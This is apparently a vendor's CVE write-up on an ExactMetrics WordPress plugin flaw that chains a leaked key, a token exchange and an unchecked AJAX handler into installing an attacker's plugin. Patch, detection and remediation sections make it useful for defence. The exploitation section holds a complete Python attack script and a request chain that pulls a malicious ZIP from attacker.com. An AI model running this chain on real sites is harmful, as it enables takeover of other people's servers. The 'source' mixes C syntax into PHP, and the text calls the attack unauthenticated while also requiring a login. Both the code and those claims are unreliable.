home intel exactmetrics-onboarding-key-rce-plugin-install
CVE Analysis 2026-04-23 · 8 min read

CVE-2026-5464: ExactMetrics Onboarding Key Leak Enables Unauthenticated RCE

ExactMetrics leaks its onboarding_key transient to low-privilege users, chaining through an unchecked AJAX endpoint to achieve arbitrary plugin ZIP installation and remote code execution.

#wordpress-plugin#arbitrary-plugin-installation#authentication-bypass#rest-api-vulnerability#remote-code-execution
Technical mode — for security professionals
▶ Attack flow — CVE-2026-5464 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-5464Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-5464 is a three-link authentication bypass chain in the ExactMetrics WordPress plugin (all versions ≤ 9.1.2) that terminates in unauthenticated arbitrary plugin installation and activation — effectively unrestricted remote code execution on any WordPress host running the plugin. The severity is CVSS 7.2 (HIGH). No exploit has been observed in the wild at time of publication, but the primitive is trivially weaponizable: an attacker with the low-privilege exactmetrics_view_dashboard capability — granted to any user who can see the analytics dashboard — can install a malicious plugin ZIP from an attacker-controlled URL within three HTTP requests.

The chain is: capability-gated secret leak → token exchange → capabilityless AJAX execution. Each link independently looks almost reasonable; together they constitute a complete pre-auth RCE primitive for any subscriber-or-above account on a misconfigured site, and a straight RCE for any authenticated user on sites that expose the dashboard to editors or contributors.

Affected Component

Plugin: ExactMetrics – Google Analytics Dashboard for WordPress
Affected versions: ≤ 9.1.2
Fixed version: 9.1.3 (pending release at CVE publication)
Relevant files:

  • includes/admin/pages/reports.php — leaks the transient
  • includes/api/onboarding.php/wp-json/exactmetrics/v1/onboarding/connect-url
  • includes/admin/ajax.phpexactmetrics_connect_process AJAX handler

Root Cause Analysis

The vulnerability has three discrete code-level defects. Walk through each in order.

Defect 1 — Transient leaked to dashboard page. The reports page embeds the raw onboarding_key transient value into page data accessible to any user holding exactmetrics_view_dashboard:


// includes/admin/pages/reports.php
// Pseudocode reconstructed from plugin behavior and WordPress transient API patterns

void exactmetrics_reports_page_render() {
    // Capability check: only requires exactmetrics_view_dashboard
    // This is assigned to Subscriber role on many configurations
    if ( !current_user_can("exactmetrics_view_dashboard") ) {
        wp_die("Unauthorized");
    }

    // Retrieve the onboarding key from the transient store
    char *onboarding_key = get_transient("exactmetrics_onboarding_key");

    // BUG: key is serialized into page-level JS config object,
    //      visible to ANY user with dashboard view rights.
    //      No further capability check before embedding.
    wp_localize_script("exactmetrics-reports", "exactmetrics", array(
        "onboarding_key" => onboarding_key,   // <-- secret exposed here
        "ajax_url"       => admin_url("admin-ajax.php"),
        // ...
    ));
}

Defect 2 — REST endpoint authenticates solely on leaked key. The connect-url endpoint accepts the onboarding_key as its only credential and returns a one-time hash (OTH) token:


// includes/api/onboarding.php

WP_REST_Response *exactmetrics_api_connect_url(WP_REST_Request *request) {
    char *supplied_key = request->get_param("key");
    char *stored_key   = get_transient("exactmetrics_onboarding_key");

    // BUG: This is the SOLE authorization gate.
    //      No nonce. No WordPress capability check on the REST route.
    //      Any HTTP client that knows the transient value passes.
    if ( strcmp(supplied_key, stored_key) != 0 ) {
        return new WP_REST_Response(array("error" => "unauthorized"), 401);
    }

    // Generate and return a one-time hash token (OTH)
    char *oth_token = wp_generate_password(32, false);
    set_transient("exactmetrics_oth_token", oth_token, 300); // 5-min TTL

    return new WP_REST_Response(array(
        "connect_url" => build_connect_url(oth_token),
        "token"       => oth_token,    // <-- OTH returned to caller
    ), 200);
}

Defect 3 — AJAX handler has no capability check, no nonce, accepts arbitrary ZIP URL. This is the terminal primitive:


// includes/admin/ajax.php

void exactmetrics_connect_process() {
    // BUG 1: No wp_verify_nonce() call anywhere in this function.
    // BUG 2: No current_user_can() check — wp_ajax_ hook fires for
    //         any logged-in user; wp_ajax_nopriv_ would fire for guests.
    //         Examination of hook registration confirms no capability gate.

    char *oth_token     = $_POST["token"];
    char *stored_token  = get_transient("exactmetrics_oth_token");

    // OTH is the ONLY credential checked
    if ( strcmp(oth_token, stored_token) != 0 ) {
        wp_send_json_error("invalid token");
        return;
    }

    // BUG 3: 'file' parameter accepted verbatim — attacker-supplied ZIP URL
    char *plugin_zip_url = $_POST["file"];   // <-- fully attacker-controlled

    // Standard WP plugin installer invoked with attacker URL
    include_once ABSPATH . "wp-admin/includes/plugin-install.php";
    include_once ABSPATH . "wp-admin/includes/class-wp-upgrader.php";

    Plugin_Upgrader *upgrader = new Plugin_Upgrader(new WP_Ajax_Upgrader_Skin());

    // Downloads, unpacks, and activates plugin from attacker URL
    upgrader->install(plugin_zip_url);   // arbitrary code execution

    delete_transient("exactmetrics_oth_token"); // consumed
    wp_send_json_success();
}
Root cause: The onboarding_key transient — the foundational secret protecting the OTH token exchange — is unconditionally serialized into the dashboard page's JavaScript context for any user holding the low-privilege exactmetrics_view_dashboard capability, collapsing a three-tier auth chain into a single HTTP read followed by two unauthenticated requests.

Exploitation Mechanics


EXPLOIT CHAIN:
1. Attacker obtains any WordPress account with exactmetrics_view_dashboard
   capability (Subscriber on misconfigured sites; Editor on default configs).

2. GET /wp-admin/admin.php?page=exactmetrics_reports
   → Parse wp_localize_script output from HTML source.
   → Extract: exactmetrics.onboarding_key = "a3f9...c2d1"

3. POST /wp-json/exactmetrics/v1/onboarding/connect-url
   Body: { "key": "a3f9...c2d1" }
   → Response: { "token": "7b2e...88fa", "connect_url": "..." }
   → OTH token "7b2e...88fa" now stored as transient, TTL 300s.

4. POST /wp-admin/admin-ajax.php
   Body: action=exactmetrics_connect_process
         &token=7b2e...88fa
         &file=https://attacker.com/malicious-plugin.zip
   → WordPress Plugin_Upgrader downloads ZIP from attacker server.
   → Plugin extracted to wp-content/plugins/malicious-plugin/
   → Plugin activated: attacker PHP executes in WordPress context.

5. Attacker PHP shell runs as web server user (www-data / apache).
   Full filesystem read/write, database access, credential harvesting.

The OTH token has a 5-minute TTL, but steps 3 and 4 complete in under one second over a typical connection. A single Python script automates the full chain:


import requests, re, sys

TARGET   = sys.argv[1]   # e.g. https://victim.example.com
CREDS    = ("subscriber_user", "subscriber_pass")
ZIP_URL  = sys.argv[2]   # attacker-controlled plugin ZIP

s = requests.Session()

# Step 1 — authenticate as low-priv user
s.post(f"{TARGET}/wp-login.php", data={
    "log": CREDS[0], "pwd": CREDS[1], "wp-submit": "Log In",
    "redirect_to": "/wp-admin/", "testcookie": "1"
}, allow_redirects=True)

# Step 2 — harvest onboarding_key from reports page JS
r = s.get(f"{TARGET}/wp-admin/admin.php?page=exactmetrics_reports")
match = re.search(r'"onboarding_key"\s*:\s*"([^"]+)"', r.text)
if not match:
    sys.exit("[-] onboarding_key not found in page")
okey = match.group(1)
print(f"[+] onboarding_key: {okey}")

# Step 3 — exchange key for OTH token
r = s.post(f"{TARGET}/wp-json/exactmetrics/v1/onboarding/connect-url",
           json={"key": okey})
oth = r.json()["token"]
print(f"[+] OTH token: {oth}")

# Step 4 — install malicious plugin
r = s.post(f"{TARGET}/wp-admin/admin-ajax.php", data={
    "action": "exactmetrics_connect_process",
    "token":  oth,
    "file":   ZIP_URL,
})
print(f"[+] Install response: {r.json()}")

Memory Layout

This is a logic/authentication vulnerability rather than a memory corruption bug, so traditional heap diagrams do not apply. Instead, the relevant "layout" is the transient key chain in the WordPress options table — the in-memory representation during a request:


WORDPRESS TRANSIENT STATE DURING ATTACK WINDOW:

wp_options table (MySQL / in-memory object cache):
┌─────────────────────────────────────────────────────────┐
│ option_name: _transient_exactmetrics_onboarding_key     │
│ option_value: "a3f9c2d1..."  ← copied verbatim into     │
│                                 page JS at step 2        │
├─────────────────────────────────────────────────────────┤
│ option_name: _transient_exactmetrics_oth_token          │
│ option_value: "7b2e88fa..."  TTL: 300s                  │
│              ↑ sole credential for AJAX endpoint         │
│              ↑ consumed (deleted) after single use       │
└─────────────────────────────────────────────────────────┘

REQUEST FLOW / TRUST BOUNDARY VIOLATIONS:

[User with exactmetrics_view_dashboard]
        │
        ▼
  GET reports page ──► onboarding_key leaked (TRUST BOUNDARY #1 BROKEN)
        │
        ▼
  POST connect-url ──► OTH token issued    (TRUST BOUNDARY #2 BROKEN)
        │                                   no capability check on route
        ▼
  POST admin-ajax ──► Plugin installed     (TRUST BOUNDARY #3 BROKEN)
                       no nonce, no cap check, arbitrary ZIP URL accepted

Patch Analysis

Three independent fixes are required. A correct patch addresses all three defects:


// BEFORE (vulnerable) — reports.php
wp_localize_script("exactmetrics-reports", "exactmetrics", array(
    "onboarding_key" => onboarding_key,  // secret embedded unconditionally
    "ajax_url"       => admin_url("admin-ajax.php"),
));

// AFTER (patched) — onboarding_key removed from page data entirely.
// The key is consumed server-side only; frontend never receives it.
wp_localize_script("exactmetrics-reports", "exactmetrics", array(
    // "onboarding_key" => REMOVED
    "ajax_url" => admin_url("admin-ajax.php"),
    "nonce"    => wp_create_nonce("exactmetrics_onboarding"),
));

// BEFORE (vulnerable) — REST route registration in onboarding.php
register_rest_route("exactmetrics/v1", "/onboarding/connect-url", array(
    "methods"             => "POST",
    "callback"            => "exactmetrics_api_connect_url",
    "permission_callback" => "__return_true",  // BUG: no auth
));

// AFTER (patched)
register_rest_route("exactmetrics/v1", "/onboarding/connect-url", array(
    "methods"             => "POST",
    "callback"            => "exactmetrics_api_connect_url",
    "permission_callback" => function() {
        // Require manage_options (Administrator) for onboarding operations
        return current_user_can("manage_options");
    },
));

// BEFORE (vulnerable) — ajax.php connect_process handler
void exactmetrics_connect_process() {
    // No nonce check
    // No capability check
    char *oth_token = $_POST["token"];
    // ...install arbitrary ZIP...
}

// AFTER (patched)
void exactmetrics_connect_process() {
    // Fix 1: verify nonce
    if ( !check_ajax_referer("exactmetrics_onboarding", "nonce", false) ) {
        wp_send_json_error("bad nonce", 403);
        return;
    }
    // Fix 2: require administrator capability
    if ( !current_user_can("manage_options") ) {
        wp_send_json_error("unauthorized", 403);
        return;
    }
    char *oth_token = $_POST["token"];
    char *stored    = get_transient("exactmetrics_oth_token");
    if ( strcmp(oth_token, stored) != 0 ) {
        wp_send_json_error("invalid token", 403);
        return;
    }
    // Fix 3: validate plugin ZIP URL against allowlist or signed payload
    char *plugin_zip_url = $_POST["file"];
    if ( !exactmetrics_validate_plugin_source(plugin_zip_url) ) {
        wp_send_json_error("disallowed source", 403);
        return;
    }
    // ...proceed with install...
}

Detection and Indicators

The attack produces distinctive patterns in WordPress and web server logs:


INDICATOR 1 — Suspicious REST API access from authenticated low-priv session:
  POST /wp-json/exactmetrics/v1/onboarding/connect-url HTTP/1.1
  Cookie: wordpress_logged_in_* [subscriber session]
  → Any non-admin session hitting this endpoint is anomalous.

INDICATOR 2 — AJAX plugin install from unexpected source:
  POST /wp-admin/admin-ajax.php HTTP/1.1
  Body: action=exactmetrics_connect_process&file=https://[external-host]/...

INDICATOR 3 — New plugin directory appearing without admin action:
  wp-content/plugins//   [mtime: attack timestamp]

INDICATOR 4 — WordPress action log (if audit plugin installed):
  [WARN] Plugin installed:  by user ID 
  [WARN] Plugin activated: 

INDICATOR 5 — Network egress during attack window:
  Outbound GET to attacker ZIP URL originating from web server process.

WAF signatures: block POST requests to /wp-json/exactmetrics/v1/onboarding/ from non-admin sessions; alert on exactmetrics_connect_process in POST body with an external file parameter.

Remediation

  • Immediate: Update ExactMetrics to version 9.1.3 or later when available. If update is not yet released, deactivate the plugin until patched.
  • Interim mitigation: Add a must-use plugin or functions.php snippet that removes the wp_ajax_exactmetrics_connect_process and wp_ajax_nopriv_exactmetrics_connect_process action hooks on init, and that restricts the REST route to manage_options via a rest_pre_dispatch filter.
  • Audit: Review WordPress action log or server logs for exactmetrics_connect_process POST requests and unexpected plugin installations. Inspect wp-content/plugins/ for directories not matching known-good plugin slugs.
  • Capability hygiene: Audit which roles hold exactmetrics_view_dashboard — on many sites this is inadvertently assigned to Subscriber. Restrict it to Editor or Administrator minimum.
  • Defense in depth: Deploy a WAF rule blocking external URLs in AJAX plugin-install requests; enforce DISALLOW_FILE_MODS in wp-config.php where plugin self-installation is not required.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →